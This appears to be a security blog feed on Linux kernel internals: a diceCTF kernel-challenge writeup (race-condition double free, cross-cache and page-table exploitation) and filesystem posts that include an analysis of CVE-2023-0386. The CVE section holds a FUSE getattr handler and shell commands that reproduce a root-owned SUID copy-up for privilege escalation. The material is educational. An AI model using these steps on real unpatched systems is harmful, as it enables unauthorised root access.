func (m *Manager) Freeze(state cgroups.FreezerState) error {
    // [...]
    if err := setFreezer(m.dirPath, state); err != nil { // [3]
        return err
    }
    // [...]
}

The freezer modifies the pseudo-file cgroup.freeze [4, 5] to update the status of the associated container, causing it to be frozen.

// vendor/github.com/opencontainers/cgroups/fs2/freezer.go
func setFreezer(dirPath string, state cgroups.FreezerState) error {
    // [...]
    fd, err := cgroups.OpenFile(dirPath, "cgroup.freeze", unix.O_RDWR) // [4]
    // [...]
    if _, err := fd.WriteString(stateStr); err != nil { // [5]
        // [...]
    }
    // [...]
}

6. Summary

The first post only focuses on the communication methods and the relationship between each component. In the next two posts, I will cover the attack surfaces and some past vulnerabilities, as well as the NVIDIA toolkit implementation.

diceCTF 2026 - cornelslop

2026-03-09T00:00:00+00:00

This week I played diceCTF 2026 with team fewer and spent 12 hours solving a Linux kernel challenge, cornelslop. This post is a simple writeup without too much detail, and you can find the full exploit here.

1. Bug

There is a race condition between delete_entry() and check_entry().

check_entry() [1] calls xa_load() to retrieve the entry without a spinlock or RCU lock, so it is possible that the entry has been deleted by delete_entry() in the meantime. Later, destruct_entry() [2] is called on the released object to free it a second time.

static int check_entry(struct cornelslop_user_entry *ue)
{
    uint8_t shash[SHA256_DIGEST_SIZE];
    struct cornelslop_entry *e;
    int ret = 0;

    e = xa_load(&cornelslop_xa, ue->id); // [1]
    // [...]
    
    ret = sha256_va_range(e->va_start, e->va_end, shash);
    ue->corrupted = memcmp(e->shash, shash, SHA256_DIGEST_SIZE);

    if (ue->corrupted) {
        xa_erase(&cornelslop_xa, ue->id);
        destruct_entry(e); // [2]
        // [...]
    }

finish:
    return ret;
}

The flow to trigger UAF and double free is as follows:

[Thread-1]                               [Thread-2]
delete_entry()                           check_entry()
                                          e = xa_load(&cornelslop_xa, ue->id)
                                          sha256_va_range(e->va_start, e->va_end, shash)
                                           ...
 e = xa_erase(&cornelslop_xa, ue->id)
 destruct_entry(e)
  call_rcu(&e->rcu, destruct_entry_rcu)

[=== RCU ===]                             [=== context switch ===]
destruct_entry_rcu()
 kfree(e)
                                          access e <--- UAF
                                          destruct_entry(e) <--- double free

2. Problems

2.1. Race window & RCU

But the problem is that the RCU callback requires some time (RCU period) and a context switch once on each CPUs to be triggered, so sha256_va_range() has to run for a long time.

I used the shared memory trick to extend race window, and you can read Faith’s post for more details. The only difference is that the environment has no ramfs mountpoint, so I used memfd_create instead.

Internally, the shared memory page fault handler calls shmem_falloc_wait() to wait for hole punching, and it then calls schedule() [1] to perform a context switch, which also satisfies one of the conditions to trigger RCU callback.

static vm_fault_t shmem_falloc_wait(struct vm_fault *vmf, struct inode *inode)
{
    // [...]
    if (shmem_falloc &&
        shmem_falloc->waitq &&
        vmf->pgoff >= shmem_falloc->start &&
        vmf->pgoff < shmem_falloc->next) {
        // [...]
        prepare_to_wait(shmem_falloc_waitq, &shmem_fault_wait,
                TASK_UNINTERRUPTIBLE);
        spin_unlock(&inode->i_lock);
        schedule(); // [1]
        // [...]
    }
    // [...]
}

2.2. Cross the cache

Even with a double free primitive, we can do nothing because entries are allocated from the specific cache cornelslop_entry_cachep. So the only way to exploit it is to perform a cross-cache attack.

We first allocate another entry to reclaim the freed object, and once the RCU callback is triggered, the object is released again. It allows us to hold a reference from the xarray to the UAF object.

To achieve the cross-cache attack, we have to spray lots of entries at the beginning, but due to alloc_id() range, we can only allocate entries up to MAX_ENTRIES (128), and it is totally insufficient.

Unlike kqx’s solution, which leveraged the object releasing mechanism in a multicore environment, I chose a relatively stupid and brute-force way to spray entries.

We found that there is a sha256_va_range() [1] call between the entry allocation and alloc_id(). In theory, we can spawn thousands of threads and use the shared memory trick again to extend the race window. Each one allocates an entry and all of them are released after some time [2]. This allows us to allocate more than MAX_ENTRIES entries!

static int add_entry(struct cornelslop_user_entry *ue)
{
    struct cornelslop_entry *e, *old;
    int ret = 0;
    int id;

    if (ue->va_end < ue->va_start)
        return -EINVAL;

    e = kmem_cache_alloc(cornelslop_entry_cachep, GFP_KERNEL | __GFP_ZERO);
    // [...]
    ret = sha256_va_range(e->va_start, e->va_end, e->shash); // [1]
    // [...]
    id = alloc_id();
    if (id < 0) {
        ret = id;
        goto fail;
    }
    // [...]
fail:
    kfree(e); // [2]
    return ret;
}

But in fact, the number of entries is still not enough. The reason is that after the hole punch finishes, the CPU will not schedule automatically, and other threads are unable to be scheduled to call add_entry().

How to solve it? One solution is to punch the hole again and again, and it works perfectly 🤣!

while (!stop) {
    usleep(50);
    SYSCHK(fallocate(memfd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, 0, MAX_LEN));
}

However, we cannot accurately control the order in which threads call kfree(e), which makes it quite unstable.

Anyway, it works 😉.

2.3. Page UAF

After we return the slab containing the UAF object back to the buddy system, we allocate lots of pipe pages to reclaim it.

Remember we still have a reference to the UAF object? We then call delete_entry() on that entry, and kfree() is applied on one of the pipe pages. So now we have a page UAF!

The remaining steps are fairly straightforward: spraying page tables, reading the empty zero page PTE, calculating the core pattern PTE, hijacking the page table, overwriting the core pattern, and finally triggering a segfault to read the flag.

Filesystem 102

2026-03-04T00:00:00+00:00

In Filesystem 101, we covered the structural relationships of the Linux filesystem from a process perspective. In this post, we continue analyzing how it interacts with other kernel subsystems.

1. Isolation

1.1. chroot, chdir and pivot_root

The kernel always call path_openat() to resolve pathname and obtain the corresponding path object. This function determines the lookup starting directory based on current->fs, which is an fs_struct object containing the process’s current working path and root path information.

For example, if pathname starts with "/", current->fs->root is used; if pathname specifies AT_FDCWD as the directory file descriptor, current->fs->cwd is used.

struct fs_struct {
    int users;
    seqlock_t seq;
    int umask;
    int in_exec;
    struct path root, pwd;
} __randomize_layout;

There are some syscalls able to configure these directories information: chroot, chdir and pivot_root.

The syscall chroot simply resolves the provided pathname and updates current->fs->root, but it requires the process to have the CAP_SYS_CHROOT capability in its user namespace.

__do_sys_chroot(filename)
=> user_path_at(AT_FDCWD, filename, lookup_flags, &path)
=> check ns_capable(current_user_ns(), CAP_SYS_CHROOT)
=> set_fs_root(current->fs, &path)
  => fs->root = *path

The syscall chdir resolves pathname and updates the working directory, current->fs->pwd. Unlike chroot, it requires no capability.

__do_sys_chroot(filename)
=> user_path_at(AT_FDCWD, filename, lookup_flags, &path)
=> set_fs_pwd(current->fs, &path)
  => fs->pwd = *path

The syscall pivot_root is the most complicated one. It is used to update the entire mount system rather than only the root directory or working directory. It requires the CAP_SYS_ADMIN capability and performs a lot of checks before updating. After these checks, it iterates over all processes and threads, finds those tasks whose working directory or root directory matches the old ones, and updates them to the new ones.

The whole process not only updates current->fs, but also involves mount point validation and namespace handling. Therefore, when setting up containers, pivot_root should be used to properly isolate execution environments.

__do_sys_pivot_root(new_root, put_old)
=> may_mount()
  => ns_capable(current->nsproxy->mnt_ns->user_ns, CAP_SYS_ADMIN)

=> user_path_at(AT_FDCWD, new_root, LOOKUP_FOLLOW | LOOKUP_DIRECTORY, &new)
=> user_path_at(AT_FDCWD, put_old, LOOKUP_FOLLOW | LOOKUP_DIRECTORY, &old)
=> get_fs_root(current->fs, &root)
=> ... lots of check

=> chroot_fs_refs(&root, &new)
  => iterate all process and thread
    => fs = p->fs
    
    => replace_path(&fs->root, old_root, new_root)
      => if fs->root == old_root
        => fs->root = new_root
    
    => replace_path(&fs->pwd, old_root, new_root)

1.2. CLONE_FS and CLONE_NEWNS

The kernel supports the system calls unshare and clone to create namespaces, isolating processes in different execution environments. In this post, we only discuss the unshare case, as the clone operation is largely similar.

The goal of the unshare syscall is to create a namespace proxy for a process. The namespace proxy is then installed with newly created namespaces. The simplified call trace is shown below; only function calls relevant to the later discussion are included.

__do_sys_unshare(unshare_flags)
=> ksys_unshare(unshare_flags)
  => unshare_fs(unshare_flags, &new_fs)
  => ...
  
  => unshare_nsproxy_namespaces(unshare_flags, &new_nsproxy, new_cred, new_fs)
    => create_new_namespaces(unshare_flags, current, user_ns, new_fs ? new_fs : current->fs)
      => new_nsp = create_nsproxy()
      => new_nsp->mnt_ns = copy_mnt_ns(flags, tsk->nsproxy->mnt_ns, user_ns, new_fs)
      => ...
  
  => switch_task_namespaces(current, new_nsproxy)
    => p->nsproxy = new

Among all flags, two are directly related to the filesystem.

The first is CLONE_FS, It is used to duplicate the current fs_struct object (current->fs) so that updates to the root directory and the working directory can be performed without affecting other processes.

unshare_fs() is called during the unsharing process. It creates a new fs_struct object, and all subsequent filesystem updates are performed on this new object instead of current->fs. Finally, if all operations complete successfully, current->fs is replaced with the new instance.

unshare(unshare_flags)
=> ...
=> unshare_fs(unshare_flags, new_fsp)
  => *new_fsp = copy_fs_struct(fs)
    => fs = kmem_cache_alloc(fs_cachep)
    => fs->root = old->root
    => fs->pwd = old->pwd
=> ...
=> current->fs = new_fs

The second flag is CLONE_NEWNS. It is used to create a new mount namespace, allowing the process to have a private copy of the current filesystem that is not shared with other processes.

Internally, copy_mnt_ns() creates a new mount namespace (new_ns), duplicates the current filesystem tree from the root as a private tree, and then binds the new root to the newly created mount namespace object. It also needs to update fs->root and fs->pwd so that they point to the new tree; otherwise, filesystem isolation would be broken.

create_new_namespaces(flags, tsk, user_ns, new_fs)
=> new_nsp = create_nsproxy()
=> new_nsp->mnt_ns = copy_mnt_ns(flags, tsk->nsproxy->mnt_ns, user_ns, new_fs)
  => old = ns->root
  => new_ns = alloc_mnt_ns(user_ns, false)
  => new = copy_tree(old, old->mnt.mnt_root, copy_flags)
  => new_ns->root = new
  
  => traverse the trees
    => if (&p->mnt == new_fs->root.mnt)
      => new_fs->root.mnt = mntget(&q->mnt)
    => if (&p->mnt == new_fs->pwd.mnt)
      => new_fs->pwd.mnt = mntget(&q->mnt)

2. Permission Model

2.1. Operation Check

Before performing file-related operations, the kernel always call functions following the may_XXX() naming convention to verify whether a process has sufficient permissions.

For example, since mounting may affect the entire system, the process is required to have the CAP_SYS_ADMIN capability in the corresponding user namespace. This check is performed by may_mount().

bool may_mount(void)
{
    return ns_capable(current->nsproxy->mnt_ns->user_ns, CAP_SYS_ADMIN);
}

Opening files is a more common case. Before reading, writing or executing a file, may_open() is invoked to check if the process has the required access permissions. The key function responsible for permission checking is acl_permission_check().

It first retrieves the file mode from inode->i_mode, which corresponds to the permission bits (e.g., -rw-r--r--) shown in the output of the ls -al command. This value defines which users are allowed to access the file and with what permissions.

may_open(idmap, path, acc_mode, flag)
=> inode_permission(idmap, inode, MAY_OPEN | acc_mode)
  => do_inode_permission(idmap, inode, mask)
    => generic_permission(idmap, inode, mask)
      => acl_permission_check(idmap, inode, mask)
        => mode = inode->i_mode
        => vfsuid = i_uid_into_vfsuid(idmap, inode)
        => ... check
        => vfsgid = i_gid_into_vfsgid(idmap, inode)
        => ... check

It looks very straightforward: retrieving the access mode and checking the identifiers against that mode.

But what are i_uid_into_vfsuid() and i_gid_into_vfsgid()? What is the difference between a UID (uid) and a VFS UID (vfsuid)?

Basically, every file stores its owner and group information in its inode object, namely inode->i_uid and inode->i_gid. However, due to the namespace mechanism, the same UID or GID value may correspond to different users in different user namespaces. Therefore, these identifiers must be converted into meaningful values before being used for permission checks.

This conversion is performed by i_uid_into_vfsuid() and i_gid_into_vfsgid(). Corresponding inverse conversion functions, mapped_fsuid() and mapped_fsgid(), are also provided.

Here, we only analyze the UID conversion path, as the GID handling follows the same mechanism.

If the idmap (idmap) points to the dummy one (&nop_mnt_idmap), the kernel simply returns inode->i_uid as the VFS UID value. Otherwise, it looks up the corresponding VFS UID from the idmap (idmap->uid_map) using the UID in the user namespace rather than the init namespace.

i_uid_into_vfsuid(idmap, inode)
=> make_vfsuid(idmap, i_user_ns(inode), inode->i_uid)
  => if (idmap == &nop_mnt_idmap)
    => return VFSUIDT_INIT(kuid)
  
  => uid = from_kuid(fs_userns, kuid)
  => return VFSUIDT_INIT_RAW(map_id_down(&idmap->uid_map, uid))

The idmap is a member of the vfsmount structure and is used to map user IDs between namespaces.

struct vfsmount {
    struct dentry *mnt_root;       /* root of the mounted tree */
    struct super_block *mnt_sb;    /* pointer to superblock */
    int mnt_flags;
    struct mnt_idmap *mnt_idmap;
} __randomize_layout;

By default, the idmap of a mount object is set to &nop_mnt_idmap.

alloc_vfsmnt(name)
=> mnt = kmem_cache_zalloc(mnt_cache)
=> mnt->mnt.mnt_idmap = &nop_mnt_idmap
=> return mnt

A process can set the idmap of a specific mount point to that of a user namespace using the mount_setattr syscall (the open_tree_attr syscall can also be used).

Internally, build_mount_idmapped() retrieves the user namespace object from the given userns_fd, which is a file descriptor obtained by opening file "/proc//ns/user". After that, the UID (mnt_userns->uid_map) and GID (mnt_userns->gid_map) mappings of the user namespace are duplicated and assigned to the mount point’s idmap (mnt->mnt.mnt_idmap).

__do_sys_mount_setattr(dfd, path, flags, uattr, usize)
=> wants_mount_setattr(uattr, usize, &kattr)
  => copy_struct_from_user(&attr, sizeof(attr), uattr, usize)
  => build_mount_kattr(&attr, usize, kattr)
    => build_mount_idmapped(attr, usize, kattr)
      => CLASS(fd, f)(attr->userns_fd)
      => ns = get_proc_ns(file_inode(fd_file(f)))
      => mnt_userns = container_of(ns, struct user_namespace, ns)
      => kattr->mnt_userns = get_user_ns(mnt_userns)

=> user_path_at(dfd, path, kattr.lookup_flags, &target)

=> do_mount_setattr(&target, &kattr)
  => mnt_idmap = alloc_mnt_idmap(kattr->mnt_userns)
    => copy_mnt_idmap(&mnt_userns->uid_map, &idmap->uid_map)
    => copy_mnt_idmap(&mnt_userns->gid_map, &idmap->gid_map)

  => kattr->mnt_idmap = mnt_idmap
  => mount_setattr_commit(kattr, mnt)
    => do_idmap_mount(kattr, m)
      => smp_store_release(&mnt->mnt.mnt_idmap, mnt_idmap_get(kattr->mnt_idmap))

At this point, we know that a mount idmap is essentially derived from the idmap of a user namespace. In the next section, we will explain how to create an idmap and how the mapping works.

2.2. UID & GID mappings

The user and group identifiers of a process are stored in current->cred, which is a cred object.

struct cred {
    // [...]
    kuid_t uid;   /* real UID of the task */
    kgid_t gid;   /* real GID of the task */
    kuid_t suid;  /* saved UID of the task */
    kgid_t sgid;  /* saved GID of the task */
    kuid_t euid;  /* effective UID of the task */
    kgid_t egid;  /* effective GID of the task */
    kuid_t fsuid; /* UID for VFS ops */
    kgid_t fsgid; /* GID for VFS ops */
    // [...]
};

When it comes to user namespace, how does the kernel save the real UID and GID of a process?

Well, if we examine the implmentation of unshare_userns(), we can see that it simply duplicates the current cred object, configure a new user namespace object (ns), and finally associates the cred with that namespace, without modifying the UID or GID information!

unshare_userns(unshared_flags, new_cred)
=> cred = prepare_creds()
=> create_user_ns(cred)
  => ns = kmem_cache_zalloc(user_ns_cachep)
  => set_cred_user_ns(new, ns)
=> *new_cred = cred

This implies that the cred structure always preserves the real UID and GID. So, there must be another place that stores the UID and GID mapping information for each user namespace.

We can identify where the mapping information is stored by examining the behavior of the getuid system call.

When getuid() is invoked immediately after unsharing into a new user namespace, the returned value may be 65534 (the "nobody" user). This happens when the UID cannot be mapped through the namespace’s UID mapping (targ->uid_map) during the lookup performed by map_id_range_up().

__do_sys_getuid()
=> from_kuid_munged(current_user_ns(), current_uid())
  => uid = from_kuid(to, kuid)
    => map_id_up(&targ->uid_map, __kuid_val(kuid))
      => map_id_range_up(map, id, 1)
        => extent = map_id_range_up_base(extents, map, id, count)
        => if (!extent)
          => id = -1
  
  => if (uid == -1)
    => uid = overflowuid // 65534

Obviously, a user namespace maintains its own UID mapping (targ->uid_map), and this mapping is used to convert UIDs or GIDs within that user namespace into real UIDs (KUIDs) or GIDs (KGIDs), and vice versa.

Here comes another question: what data does the mapping actually store, and how does a process configure the mapping?

The file /proc//uid_map allows user to insert new mapping entries into ns->uid_map. Each entry follows the format , where represents the first mapped UID in the current user namespace, represents the corresponding UID in the parent namespace, and specifies the size of the mapping range.

For example, the entry "0 1000 1" means that UID 1000 in the parent user namespace is mapped to UID 0 in the current user namespace.

When writing mapping entries to /proc//uid_map, proc_uid_map_write() is triggered. It parses the input data and converts it into internal structures. Finally, the new mapping (new_map.extent) is copied to ns->uid_map, completing the idmap setup.

proc_uid_map_write(file, buf, size, ppos)
=> map_write(file, buf, size, ppos, CAP_SETUID, &ns->uid_map, &ns->parent->uid_map)
  => extent.first = simple_strtoul(pos, &pos, 10)
  => extent.lower_first = simple_strtoul(pos, &pos, 10)
  => extent.count = simple_strtoul(pos, &pos, 10)
  => insert_extent(&new_map, &extent)
    => dest = &map->extent[map->nr_extents]
    => *dest = *extent
  
  => new_idmap_permitted(file, map_ns, cap_setid, &new_map)

  => memcpy(map->extent, new_map.extent, new_map.nr_extents * sizeof(new_map.extent[0]))
  => map->nr_extents = new_map.nr_extents

At first glance, this mechanism may appear fragile since the user can manipulate the mapping. In practice, however, new_idmap_permitted() strictly validates all entries, including capability check and whether the requested UID range is permitted.

To summarize the idmap mechanism, let’s go back to make_vfsuid(), which we mentioned in the last section. It is used to map a KUID (the UID stored in the inode object) to a UID in the corresponding user namespace.

The inverse function is from_vfsuid(). It is used to map a UID in the user namespace back to the real UID (the UID in initial user namespace).

  +----------------+        +----------------+
  | inode->i_uid   |        | target user ns |
  | (init user ns) |        |                |
  |                |        |                |
  |       1000     |        |        0       |
  +--------+-------+        +--------+-------+
           |                         |
           | make_vfsuid()           | from_vfsuid()           path
           v                         v                           |
        +------------- idmap ------------+                       | (mnt)
        |    ns_uid  host_uid  range     |                       v
        |       0      1000      1       |   <-------------  vfsmount
        |  (first) (lower_first) (count) |     (mnt_idmap)
        +--------------------------------+
           |                         |
           v                         v
           0                        1000

2.3. SUID

Some of the kernel mechanisms can grant files special permissions; one of the most common is the SUID bit.

chmod u+s ./file

In fact, both the SUID and SGID bits are stored in inode->i_mode as bit flags: S_ISUID (0004000) and S_ISGID (0002000).

Internally, the chmod syscall invokes the .setattr handler of the inode (inode->i_op->setattr) and updates the inode->i_mode with the new mode value.

__do_sys_chmod
=> do_fchmodat()
  => do_fchmodat(AT_FDCWD, filename, mode, 0)
    => user_path_at(dfd, filename, lookup_flags, &path)
      => chmod_common(&path, mode)
        => notify_change(mnt_idmap(path->mnt), path->dentry, &newattrs, &delegated_inode)
          => may_setattr(idmap, inode, ia_valid)
            => inode->i_op->setattr(idmap, dentry, attr)
              => ...
              => mode = attr->ia_mode
              => inode->i_mode = mode

These two bits are retrieved when an executable is run. The execve syscall invokes bprm_creds_from_file() to handle the process credentials. It then calls bprm_fill_uid() to check the file’s SUID bit. If the kernel detects that the SUID bit is set, it retrieves inode->i_uid, map it to a KUID, and finally assigns it to the cred object (bprm->cred->euid).

bprm_creds_from_file(brpm)
=> file = bprm->execfd_creds ? bprm->executable : bprm->file

=> bprm_fill_uid(bprm, file)
  => inode = file_inode(file)
  => ...
   => vfsuid = i_uid_into_vfsuid(idmap, inode)
  => bprm->cred->euid = vfsuid_into_kuid(vfsuid)

=> security_bprm_creds_from_file(bprm, file)

2.4. Capability

The capability is also one of the mechanisms that allows a user to grant higher privileges.

setcap cap_setuid+ep ./test

These capabilities are actually stored as extended attributes (EAs). When the kernel detects that the EA name is "security.capability", it first calls cap_convert_nscap() to verify whether the process has sufficient privileges to set capabilities on the file. It then invokes the filesystem’s set handler (handler->set) to persistently store the EA.

__do_sys_setxattr(dfd, pathname, at_flags, name, uargs, usize)
=> path_setxattrat(AT_FDCWD, pathname, 0, name, value, size, flags)
  => setxattr_copy(name, &ctx)
    => import_xattr_name(ctx->kname, name)
    => ctx->kvalue = vmemdup_user(ctx->cvalue, ctx->size)

  => filename_setxattr(dfd, filename, lookup_flags, &ctx)
    => filename_lookup(dfd, filename, lookup_flags, &path, NULL)
    => do_setxattr(file_mnt_idmap(f), f->f_path.dentry, ctx)
      => vfs_setxattr(idmap, dentry, ctx->kname->name, ctx->kvalue, ctx->size, ctx->flags)
        
        => if name == "security.capability"
          => cap_convert_nscap(idmap, dentry, &value, size)
        
        => __vfs_setxattr_locked(idmap, dentry, name, value, size, flags, &delegated_inode)
          => __vfs_setxattr_noperm(idmap, dentry, name, value, size, flags)
            => __vfs_setxattr(idmap, dentry, inode, name, value, size, flags)
              => handler = xattr_resolve_name(inode, &name)
              => handler->set(handler, idmap, dentry, inode, name, value, size, flags)

Like the SUID bit, capabilities are also handled during the execve syscall.

Within bprm_creds_from_file(), security_bprm_creds_from_file() is called to handle the capability-related logic. It gets the EA named "security.capability" (XATTR_NAME_CAPS) from the executable file and updates the permitted capability set of the cred object (new->cap_permitted) based on the EA value.

bprm_creds_from_file(brpm)
=> file = bprm->execfd_creds ? bprm->executable : bprm->file
=> bprm_fill_uid(bprm, file)

=> security_bprm_creds_from_file(bprm, file)
  => cap_bprm_creds_from_file(bprm, file)
    => get_file_caps(bprm, file, &effective, &has_fcap)
      => get_vfs_caps_from_disk(file_mnt_idmap(file), file->f_path.dentry, &vcaps)
        => __vfs_getxattr((struct dentry *)dentry, inode, XATTR_NAME_CAPS, &data, XATTR_CAPS_SZ)
        => ... set vcaps
    
      => bprm_caps_from_vfs_caps(&vcaps, bprm, effective, has_fcap)
        => new = bprm->cred
        => ... set new->cap_permitted.val

3. Security Issues

CVE-2023-0386: ovl: fail on invalid uid/gid mapping at copy up

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4f11ada10d0ad3fd53e2bd67806351de63a4f9c3

I think this is one of the most famous and impactful logical bugs that has occured in filesystems in recent years.

This vulnerability occurs in the kernel function ovl_copy_up_one(), which is used by OverlayFS to copy a file from a lower directory to an upper directory.

@@ -1011,6 +1011,10 @@ static int ovl_copy_up_one(struct dentry *parent, struct dentry *dentry,
    if (err)
       return err;
 
+   if (!kuid_has_mapping(current_user_ns(), ctx.stat.uid) ||
+       !kgid_has_mapping(current_user_ns(), ctx.stat.gid))
+      return -EOVERFLOW;
+

OverlayFS can be viewed as one of the core mechanisms of Docker containers, so the Docker documentation elaborates on it in much more detail. Here, I only cover some core concepts and analyze the functions related to the vulnerability.

An OverlayFS instance consists of multiple lower directories, an upper directory and a merged directory.

Basically, these lower directories contain files that are shared by all containers (or instances) and cannot be modified (read-only). The merged directory is a flattened view of all lower directories. If there are conflicting files between lower directories, the one with the highest layer takes precedence.

If a user tries to create new files or modify existing ones, OverlayFS will duplicate target files or create new files if they do not exist in the upper directory, which is a writeable directory. The upper directory stores the unique files for each containers and has higher priority than all lower directories.

The ovl_copy_up_one() function is used to handle the file copy from the lower directory to the upper directory.

ovl_open(inode, file)
=> ovl_maybe_copy_up(dentry, file->f_flags)
  => ovl_copy_up_flags(dentry, flags)
    => ovl_copy_up_one(parent, next, flags)

It first gets the path object of the lower directory using ovl_path_lower() [1]. After that, vfs_getattr() [2] is called to retrieve the file metadata, including the UID and GID.

Before the patch, the kernel failed to verify whether there was a mapping between the real UID/GID and the current user namespace [3].

static int ovl_copy_up_one(struct dentry *parent, struct dentry *dentry,
               int flags)
{
    // [...]
    struct path parentpath;
    // [...]
    ovl_path_lower(dentry, &ctx.lowerpath); // [1]
    err = vfs_getattr(&ctx.lowerpath, &ctx.stat, // [2]
              STATX_BASIC_STATS, AT_STATX_SYNC_AS_STAT);

    // if (!kuid_has_mapping(current_user_ns(), ctx.stat.uid) || // [3]
    //     !kgid_has_mapping(current_user_ns(), ctx.stat.gid))
    //     return -EOVERFLOW;
    // [...]
}

Since OverlayFS requires a process to have root privileges in the user namespace, the process must call unshare before mounting OverlayFS. Within a new user namespace, there is no mapping entry for the real root user, so the real root user is shown as "nobody" (65534) in that user namespace.

However, files owned by "nobody" are still duplicated by ovl_copy_up_one() with all file metadata preserved.

We may just pass the directory containing a SUID root executable (like su or passwd) as the lower directory and hijack its file content after copy. However, the write handler internally calls file_remove_privs() to remove the SUID bit and update capabilities of the file.

ovl_write_iter(iocb, iter)
=> realfile = ovl_real_file(file)
=> backing_file_write_iter(realfile, iter, iocb, ifl, &ctx)
  => ret = file_remove_privs(iocb->ki_filp)
    => file_remove_privs_flags(file, 0)

So how can we create a file initial namespace whose content is controlled, owned by root, and has the SUID bit set? That’s where the FUSE filesystem comes in!

If we use FUSE as one of our lower directories, the filesystem implementation allows us to fully control the file stat return value, including ctx.stat.uid and ctx.stat.gid. We can also set the SUID bit for that file.

To archieve this, we define the .getattr handler as the my_getattr() function shown below in FUSE daemon.

static int my_getattr(const char *path, struct stat *stbuf)
{
    memset(stbuf, 0, sizeof(struct stat));

    if (strcmp(path, "/") == 0) {
        stbuf->st_mode = S_IFDIR | 0755;
        stbuf->st_nlink = 2;
        return 0;
    }

    if (strcmp(path, file_path) == 0) {
        stbuf->st_mode = S_IFREG | 04777; // 04000 == SUID
        stbuf->st_nlink = 1;
        stbuf->st_size = strlen(file_content);

        stbuf->st_uid = 0; // root
        stbuf->st_gid = 0; // root
        return 0;
    }

    return -ENOENT;
}

After opening the target file (file_path), ovl_copy_up_one() copies it from the lower directory (FUSE) to the upper directory (ext4) while preserving the SUID bit. We can then go back to initial user namespace and executable the SUID binary to get the root shell!

In fact, the reason you are allowed to mount the FUSE filesystem in the initial user namespace is that after installing the libfuse-dev package, the executable fusermount3 is also installed, and it has the SUID bit! As a result, even a normal user without the CAP_SYS_ADMIN capability can still mount a FUSE filesystem.

-rwsr-xr-x 1 root root 39376 Sep 21  2024 /usr/bin/fusermount3

However, it also appears that this vulnerability depends on external pacakges and cannot be exploited by default. That may be why it is not as broadly applicable as DirtyPipe or DirtyCOW.

You can use the following command lines to reproduce this vulnerability yourself.

mkdir -p overlay-test/{lower,upper,work,merged}
./your_fuse overlay-test/lower # write your fuse program with the getattr handler above

unshare -r -n -m /bin/bash
mount -t overlay overlay -o lowerdir=overlay-test/lower,upperdir=overlay-test/upper,workdir=overlay-test/work overlay-test/merged

exec 3>> overlay-test/merged/aaa # aaa == file_path
ls -al overlay-test/upper/

# [output]
# ...
# -rwsrwxrwx 1 nobody nogroup   33 Jan  1  1970 aaa

Filesystem 101

2026-02-26T00:00:00+00:00

Recently I explored the filesystem design of Linux and found it is little more complicated than I expected, so I decided to write a post organizing it. This post analyzes the filesystem from a high-level view, skipping detailed implementation. I hope that after reading it, you will understand more about the Linux filesystem.

1. Overview

1.1. file, dentry and inode

First, we start with how the simple syscall open works to figure out the filesystem internal.

When you call the open system call, __do_sys_open() is the entry point in kernel space. In do_sys_openat2(), the kernel gets a file descriptor, opens the file, and installs it into process’s file table.

__do_sys_open(filename, flags, mode)
=> do_sys_open(AT_FDCWD, filename, flags, mode)
  => do_sys_openat2(dfd, filename, &how)
    => fd = get_unused_fd_flags(how->flags)
    => f = do_filp_open(dfd, tmp, &op)
    => fd_install(fd, f)

In path_openat(), the kernel allocates an empty file object, then resolves the pathname, and finally binds the name data (nd) to that file object by calling do_open().

do_filp_open(dfd, pathname, op)
=> set_nameidata(&nd, dfd, pathname, NULL)
=> path_openat(&nd, op, flags | LOOKUP_RCU)
  => file = alloc_empty_file(op->open_flag, current_cred())
  
  // ========= resolution =========
  => s = path_init(nd, flags)
  => link_path_walk(s, nd)
  => s = open_last_lookups(nd, file, op)
  
  => do_open(nd, file, op)

The whole process raises three questions:

How does the file table work?
How does the kernel resolve pathname?
How does the binding work?

The first question, “how the file table works?”, is the easiest.

The purpose of the file descriptor is to let a process use a number to represent a file object. This implies there is an array-like structure that maintains the mapping between the number and the file object, and that is exactly what file table does.

When calling get_unused_fd_flags(), the kernel gets the file table from the current process (current->files). It then finds an unused number and marks it as in use.

get_unused_fd_flags(flags)
=> __get_unused_fd_flags(flags, rlimit(RLIMIT_NOFILE))
  => alloc_fd(0, nofile, flags)
    => files = current->files
    => fdt = files_fdtable(files)
    => fd = find_next_fd(fdt, fd)
    => __set_open_fd(fd, fdt, flags & O_CLOEXEC)

The fd_install() is quite simple. It assigns the file object to the file table’s fd array fdt->fd[], using the pre-reserved fd as the index.

fd_install(fd, file)
=> files = current->files
=> fdt = files_fdtable(files)
=> rcu_assign_pointer(fdt->fd[fd], file)

The next time we call any syscall that requires file operations, we just pass the file descriptor to the kernel. Then fdget() or similar functions are used to retrieve the corresponding file object.

fdget(fd)
=> __fget_light(fd, FMODE_PATH)
  => files = current->files
  => file = files_lookup_fd_raw(files, fd)
    => rcu_dereference_raw(fdt->fd[fd&mask])
  => return BORROWED_FD(file)

The next question is “how the kernel resolves pathname?”

There are three steps: setting up resolution environment, resolving the directory and resolving the final file. These steps correspond to three different function calls, which we saw in the path_openat().

The path_init() is called first to set up the resolution environment. Basically, it decides the starting directory, since the open syscall allows a process to resolve a pathname from a specified directory.

If the pathname starts with "/", the kernel sets the starting directory to root directory. Otherwise, the kernel checks directory file descriptor (dfd).

path_init(nd, flags)
=> s = nd->pathname
=> if (*s == '/' && ...)
  => nd_jump_root(nd)
    => set_root(nd)
      => fs = current->fs
      => nd->root = fs->root
    => nd->path = nd->root
    => nd->inode = nd->path.dentr->d_inode

=> if (nd->dfd == AT_FDCWD)
  => fs = current->fs
  => nd->path = fs->pwd
  => nd->inode = nd->path.dentry->d_inode

=> else
  => f = fdget_raw(nd->dfd)
  => nd->path = fd_file(f)->f_path
  => nd->inode = nd->path.dentry->d_inode

You might already notice the similarity. Although the operations differ, the goal is same: set nd->path and nd->inode. Moreover, if you look more carefully, you may notice that nd->inode actually comes from a field inside nd->path. The nd->path is a path object consisting of mnt and dentry.

struct path {
    struct vfsmount *mnt;
    struct dentry *dentry;
}

With nd->path set to the starting directory, we move to next step to resolve the directory part of the pathname.

Generally, link_path_walk() seperates the whole pathname info components using one or more "/" as delimiter and resolves them one at a time. For example, the pathname "a/b///c/d" will be seperated into "a", "b", "c" and "d".

Internally, __d_lookup_rcu() finds the corresponding dentry object for the current component based on the current directory (parent) and name string (&nd->last). Interestingly, all dentry objects are stored in bucket lists that can be referenced from a global hash table (dentry_hashtable).

